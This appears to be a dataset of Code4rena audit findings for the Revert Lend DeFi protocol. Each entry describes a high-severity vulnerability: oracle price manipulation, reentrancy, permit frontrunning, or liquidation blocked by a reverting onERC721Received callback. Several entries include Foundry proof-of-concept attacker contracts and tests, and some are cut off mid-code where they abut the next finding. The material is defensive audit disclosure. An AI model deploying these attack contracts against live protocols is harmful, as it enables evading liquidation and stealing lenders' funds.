xanoutas/solidity-security-findings huggingface dataset:
Inaccurate Uncollected Fees and Amounts Calculations Due to Price Manipulation
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L162
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L426
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L445


# Vulnerability details

## Impact
Inaccurate calculation of token amounts and uncollected fees.

## Proof of Concept
The `getPositionBreakdown` function returns the breakdown of a Uniswap V3 position, including the token0, token1, fee tier, liquidity, current token amounts, and uncollected fees. It calculates the current token amounts based on the current pool price (state.sqrtPriceX96). It also calculates the uncollected fees based on the fee growth inside the position's tick range. These calculations rely on the pool's fee growth globals, which are derived from the pool prices. 

```solidity
function getPositionBreakdown(uint256 tokenId)
        public
        view
        override
        returns (
            address token0,
            address token1,
            uint24 fee,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1,
            uint128 fees0,
            uint128 fees1
        )
    {
        PositionState memory state = _initializeState(tokenId);
        (token0, token1, fee) = (state.token0, state.token1, state.fee);
        (amount0, amount1, fees0, fees1) = _getAmounts(state);
        liquidity = state.liquidity;
    }
```

The issue here is that the derived pool price is not validated against the reference pool price obtained from the configured oracles.

In the _getAmounts function, amount0` and `amount1` are calculated based on the current pool price (state.sqrtPriceX96)

```solidity
function _getAmounts(PositionState memory state)
        internal
        view
        returns (uint256 amount0, uint256 amount1, uint128 fees0, uint128 fees1)
    {
        if (state.liquidity > 0) {
            state.sqrtPriceX96Lower = TickMath.getSqrtRatioAtTick(state.tickLower);
            state.sqrtPriceX96Upper = TickMath.getSqrtRatioAtTick(state.tickUpper);
            (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(
                state.sqrtPriceX96, state.sqrtPriceX96Lower, state.sqrtPriceX96Upper, state.liquidity
            );
        }

        (fees0, fees1) = _getUncollectedFees(state, state.tick);
        fees0 += state.tokensOwed0;
        fees1 += state.tokensOwed1;
    }
```

The `_getUncollectedFees` function calculates the uncollected fees based on the pool's fee growth globals, derived from the pool prices

```solidity
function _getUncollectedFees(PositionState memory position, int24 tick)
        internal
        view
        returns (uint128 fees0, uint128 fees1)
    {
        (uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128) = _getFeeGrowthInside(
            position.pool,
            position.tickLower,
            position.tickUpper,
            tick,
            position.pool.feeGrowthGl
Reentrancy  in the `V3Vault::_deposit()` function
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L877-L917


# Vulnerability details

## Impact
The `_deposit()` function first updates the global interest rates and exchange rates, then performs the deposit, and finally emits the `Deposit` event. An attacker can exploit this by calling the `_deposit()` function, which can result in an unbounded increase in the global interest rates and exchange rates.


## Proof of Concept
```solidity
    function _deposit(address receiver, uint256 amount, bool isShare, bytes memory permitData)
        internal
        returns (uint256 assets, uint256 shares)
    {
        (, uint256 newLendExchangeRateX96) = _updateGlobalInterest();

        _resetDailyLendIncreaseLimit(newLendExchangeRateX96, false);

        if (isShare) {
            shares = amount;
            assets = _convertToAssets(shares, newLendExchangeRateX96, Math.Rounding.Up);
        } else {
            assets = amount;
            shares = _convertToShares(assets, newLendExchangeRateX96, Math.Rounding.Down);
        }

        if (permitData.length > 0) {
            (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
                abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
            permit2.permitTransferFrom(
                permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
            );
        } else {
            // fails if not enough token approved
// @>> reentrancy            SafeERC20.safeTransferFrom(IERC20(asset), msg.sender, address(this), assets);
        }

        _mint(receiver, shares);

        if (totalSupply() > globalLendLimit) {
            revert GlobalLendLimit();
        }

        if (assets > dailyLendIncreaseLimitLeft) {
            revert DailyLendIncreaseLimit();
        } else {
            dailyLendIncreaseLimitLeft -= assets;
        }

        emit Deposit(msg.sender, receiver, assets, shares);
    }
```

## Tools Used
Manual Review
## Recommended Mitigation Steps

To fix this issue, the reentrancy guard using the `nonReentrant` modifier from OpenZeppelin's `ReentrancyGuard` contract should be added to the `_deposit()` function.



## Assessed type

Reentrancy
Borrower can evade liquidation and gas grief liquidators using malicious `onERC721Received` implementation
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1077-L1085


# Vulnerability details

## Summary
User being liquidated can take control of the external call `onERC721Received` to force revert the liquidation and also use up all the liquidator's transaction gas.

## Vulnerability Details
During the liquidation process, `NonfungiblePositionManager::safeTransferFrom` is called to send the position borrower's NFT back to them after liquidation has been settled. `safeTransferFrom` first calls the `onERC721Received` method on the borrower's address to make sure that the borrower can receive `ERC-721`.
The position borrower can take control of this external call with a malicious contract, using up all the gas in the transaction and causing an OOG reversion.

```solidity
    function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
        internal
    {
        _removeTokenFromOwner(owner, tokenId);
        _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
        delete loans[tokenId];
>>>     nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
        emit Remove(tokenId, owner);
    }

```

## POC
A few steps are needed to set up POC:

Add the malicious contract `RevertLiquidate.sol` contract to the `src` folder; already containing `V3Oracle.sol` & `V3Vault.sol`.

```solidity
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
    import "v3-periphery/interfaces/INonfungiblePositionManager.sol";
    import "@openzeppelin/contracts/access/Ownable.sol";
    import "./V3Vault.sol";

    import {console} from "forge-std/Test.sol";

    contract RevertLiquidate  is IERC721Receiver, Ownable {

            V3Vault public vault;
            INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
            bool repaying = false;
            uint256 counter = 0;

        // Constructor to initialize the auction contract
        constructor(V3Vault _vaultAddress) {
            vault = _vaultAddress;
        }

        modifier onlyAllowed() {
            require(msg.sender == address(this.owner()) || msg.sender == address(this), "Ownable: caller is not approved");
            _;
        }

        function approve(uint256 tokenId) public onlyAllowed {
            NPM.approve(address(vault), tokenId);
        }

        function create(uint256 tokenId) public onlyAllowed {
            vault.create(tokenId, address(this));
        }

        function borrow(uint256 tokenId, uint256 amount) public onlyAllowed {
            vault.borrow(tokenId, amount);
        }

        // if attacker wants to repay their loan and get their NFT back
        function repay(uint256 tokenId, uint256 amount, bool isShare) pub
Frontrunning and Price Manipulation can Brick Liquidation for other Users
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L737


# Vulnerability details

## Details
The check for slippage `if (amount0 < params.amount0Min || amount1 < params.amount1Min)` is done after the collateral tokens have been transferred to the liquidator. This means the contract performs state-changing operations (transferring assets) before checking if the operation meets the slippage requirements set by the caller. While this is checked eventually and can revert the transaction if it doesn't meet the requirements, it exposes the function to potential manipulation or front-running, where the conditions could be met in an unfavorable state due to changes in the interim.

## Proof of Concept

### Scenario 
- The contract transfers collateral tokens to the liquidator's address based on the calculated liquidation value.
- After the transfer, the contract checks if the actual amounts transferred (`amount0`, `amount1`) are less than the minimum acceptable amounts (`params.amount0Min`, `params.amount1Min`).

### Why This Order Is Problematic

The problem here is that if the slippage conditions are not met the transaction will revert. While reverting a transaction undoes the state changes and prevents the completion of an unfavorable trade, it introduces manipulation vectors through frontrunning.

The time window between the execution of the state-changing operations and the slippage check could be exploited. Malicious actors might observe the pending transaction and execute other transactions that affect the price outcomes (e.g., trading on the same underlying assets to move the price). This risk is particularly high in blockchain environments where transaction details are public before they are confirmed.

## Impact
Loss of assets for legitimate users and griefing: even though there is slippage controls in this function attacker can use it to manipulate the execution at the slippage limits set so that the liquidation is done at the most unfavorable conditions possible everytime. Alternatively, attacker can decide to manipulate price combined with frontrunning techniques to ensure the liquidation fails for targeted users by triggering slippage conditions.

## Tools Used
Manual

## Recommended Mitigation Steps
Use Checks-Effects-Interactions pattern.


## Assessed type

DoS
An attacker can cause a permanent DOS when being liquidated
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L680-L757


# Vulnerability details

## Impact

It will be impossible to liquidate an unhealthy position. This will lead to the protocol becoming insolvent, contingent upon its financial structuring.

## Proof of Concept

As documented in the [Whitepaper](https://github.com/revert-finance/lend-whitepaper/blob/main/Revert_Lend-wp.pdf), during the normal liquidation process:

> After settling the debt and penalty, the position’s NFT, representing the residual value, is returned to the original depositor (the owner) within the same transaction.
> 

This happens here in `liquidate()`, [V3Vault.sol#L744](https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L744):

```solidity
_cleanupLoan(params.tokenId, state.newDebtExchangeRateX96, state.newLendExchangeRateX96, owner);
```

In `_cleanupLoan()` the NFT is sent back to the owner using `safeTransferFrom()`, [V3Vault.sol#L1083](https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083):

```solidity
nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
```

As detailed in this [source](https://docs.openzeppelin.com/contracts/2.x/api/token/erc721#ERC721-safeTransferFrom-address-address-uint256-), if the target address is a contract, it must implement `IERC721Receiver.onERC721Received()`, which is called upon a safe transfer. If an attacker reverts in the call to `onERC721Received()` or does not implement the necessary interface the transaction will fail — permanently denying the ability to liquidate the position. Below is a test case that demonstrates this.

1. Add the following contract to `test/integration/V3Vault.t.sol`:

```solidity
contract MockContract is IERC721Receiver {
    function onERC721Received(
        address /*operator*/,
        address /*from*/,
        uint256 /*tokenId*/,
        bytes calldata /*data*/
    ) external pure override returns (bytes4) {
        revert();
    }
}
```

1. Add the follow test to `test/integration/V3Vault.t.sol`:

```solidity
function test_Liquidate() public {
    MockContract mockContract = new MockContract();

    _deposit(10000000, WHALE_ACCOUNT);

    // Position is created — mockContract is the tokenOwner
    vm.startPrank(TEST_NFT_ACCOUNT);
    NPM.approve(address(vault), TEST_NFT);
    vault.create(TEST_NFT, address(mockContract));
    vm.stopPrank();

    vm.prank(address(mockContract));
    vault.borrow(TEST_NFT, 8847206);

    // Accumulate interest
    vm.warp(block.timestamp + 7 days);

    (uint256 debt, , uint256 collateralValue, uint256 liquidationCost, ) = vault.loanInfo(TEST_NFT);
    (uint256 debtShares) = vault.loans(TEST_NFT);

    // Assert loan is unhealthy
    assertGt(debt, collateralValue);

    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), liquidatio
Free Loan Clearance in V3Vault for transformerAllowList user to borrow more token through onERC721Received()
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L429-L477


# Vulnerability details

## Impact
In the onERC721Received() function in V3Vault contract, it is expected that whenever a nonfungiblePositionManager token is received in the vault contract, it either creates a new loan, or modifies an existing one when in transform mode.

However, it is possible for a transformerAllowList user to clear out a loan on their collateralized tokenId, transfer it to a new tokenId and then borrow more asset tokens with the old tokenId as collateral. This is possible the user after initially borrows a loan on the tokenId collateralized, then calls the transform(). But during the execute() call in the contract, the user was able to control the flow in the Swapper._swapRouter() call such that the user sends another tokenId to V3Vault contract.

Since `transformedTokenId` is currently not 0 in the first callback to `onERC721Received()`, the loan is transferred to the new tokenId, while clearing the loan on the old tokenId.

Now the transformerAllowList user can then call `borrow()` function using the old tokenId, since the `transformedTokenId == oldTokenId` is true, tokens would be transferred transformerAllowList user using oldTokenId as collateral.

Note: Above is also possible with using LeverageTransformer contract as the transformer.

## Proof of Concept
Assume ContractA is approved in transformerAllowList, owns two tokens and the following calls happen in a call from ContractA.
1. Contract A sends tokenId_A as collateral to V3Vault contract directly or through create() function. 
2. The callback on `onERC721Received` sets contractA as the `tokenOwner[tokenId_A]`
```
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
.......
    _addTokenToOwner(owner, tokenId);
.......
function _addTokenToOwner(address to, uint256 tokenId) internal {
        ownedTokensIndex[tokenId] = ownedTokens[to].length;
        ownedTokens[to].push(tokenId);
        tokenOwner[tokenId] = to;
    }
```
3. Contract A then calls `V3Vault(vault).borrow(tokenId_A, asset_amount);` to borrow underlying asset token, hence `loans[tokenId_A].debtShares == asset_amount`
4. User creates encoded data with the correct user-controlled swap data inputs, wrapped into `ExecuteParams` param //see https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/AutoRange.sol#L53-63
and https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/utils/Swapper.sol#L50-L68

5. Contract A calls `V3Vault(vault).transform(tokenId_A, transformer, params)` for execution of swap calls, where the swap is carried out in the transformer contract execute() call in 
```            (state.amountInDelta, state.amountOutDelta) = _routerSwap(
                Swapper.RouterSwapParams(
                    params.swap0To1 ? I
`executeWithPermit` can be frontrun and handle execution to anyone.
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L98


# Vulnerability details

## Description

In the `V3Utils.sol`contract, the function `executeWithPermit` asks for the signature to be able to call permit to call `execute` with the token id of the owner. The problem lies in the lack of access checks on the `execute` function itself. 

The idea behind having no security check in `execute` is V3Utils having no NFTs and no approvals by default, and the call via transform gives and removes the approval. The issue is that anyone can see a `executeWithPermit` call about to be made, take the signature, call it and then call `execute` with the token being approved by the permit. Since `execute` has no checks, any instruction can be passed after calling the permit. The same concept applies on the other functions in the contract, making anyone able to do anything that `V3Utils.sol` is able to do.

## Impact
This vulnerability can lead to `V3Utils.sol` being used by an attacker to modify NFTs of anyone that tries to use it via permit, this being a potential loss of funds for regular users.

## Proof Of Concept
Alice tries to use the `V3Utils.sol` contract to modify her Uniswapv3 position with a set of instructions.
```
V3Utils receives a executeWithPermit call with a set of instructions called instructionsAlice.
```
Bob sees the transaction that alice tries to do, and frontruns it.
```
nonfungiblePositionManager receives a permit call made by Bob, which allows the token of Alice to be managed by V3Utils.

V3Utils receives an execute call, with a set of instructions for Alice`s token called instructionsBob. It has no problem following the instructions since the NFT is approved in the V3Utils contract.


V3Utils receives a executeWithPermit call with a set of instructions called instructionsAlice. Bob`s instructions already happen, so this call could fail.
```

As demonstrated, bob can easily give instructions to Alice`s position, and could withdraw whatever is allowed.

## Recommended mitigation steps

Add the owner requirement on every function. There should be no problems since the call done via `transform` sees V3Vault as the msg.sender, and is in fact the owner of the position. 



## Assessed type

Access Control
An attacker can create a non liquidatable position by making onERC721Received() revert
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083


# Vulnerability details

When a position is being liquidated and after the debt gets repayed the Uniswap position NFT is being sent back to the owner of the loan. 

As you can see in [`_cleanupLoan()`](https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L744) the function being used is safeTransferFrom which calls a ERC721 callback function on the recipient contract.

```solidity
nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
```

This can be abused by an attacker to make the whole liquidate function revert because of the callback function that gets executed when the position is being sent back to the owner. 


## Impact
The attacker can create positions that no one will be able to liquidate once they become undercollateralized because of the malicious onERC721Received() callback. This will generate bad debt and will lead to losses for the lenders/protocol. 


## Proof of Concept

Add this to `V3Vault.t.sol`. As you can see we are making the ERC721 callback revert which will make the whole liquidation revert once the position is transferred to the malicious contract. 

```solidity
contract AttackerContract {
    function onERC721Received(address, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
        revert();
    }
    
}



function testLiquidationAttack() external {
        _deposit(10000000, WHALE_ACCOUNT);
        
        //Create malicious contract 
        AttackerContract attacker = new AttackerContract();

        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vault.create(TEST_NFT, address(attacker));

        changePrank(address(attacker));
        (,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        vault.borrow(TEST_NFT, collateralValue);
        vm.stopPrank();

        vm.warp(block.timestamp + 7 days);

        (address token0, address token1,,,,,,) = oracle.getPositionBreakdown(TEST_NFT);

        FlashloanLiquidator liquidator = new FlashloanLiquidator(NPM, EX0x, UNIVERSAL_ROUTER);

        uint256 amount0 = 381693758226627942;

        bytes[] memory inputs = new bytes[](2);
        inputs[0] = abi.encode(address(liquidator), amount0, 0, abi.encodePacked(token0, uint24(500), token1), false);
        inputs[1] = abi.encode(token0, address(liquidator), 0);
        bytes memory swapData0 =
            abi.encode(UNIVERSAL_ROUTER, abi.encode(Swapper.UniversalRouterData(hex"0004", inputs, block.timestamp)));

        (uint256 debtShares) = vault.loans(TEST_NFT);

        liquidator.liquidate(
            FlashloanLiquidator.LiquidateParams(
                TEST_NFT, debtShares, vault, IUniswapV3Pool(UNISWAP_DAI_USDC), amount0, swapData0, 0, "", 356028
            )
        );
    }

```

## Tools Used

Foundry 

## Recommen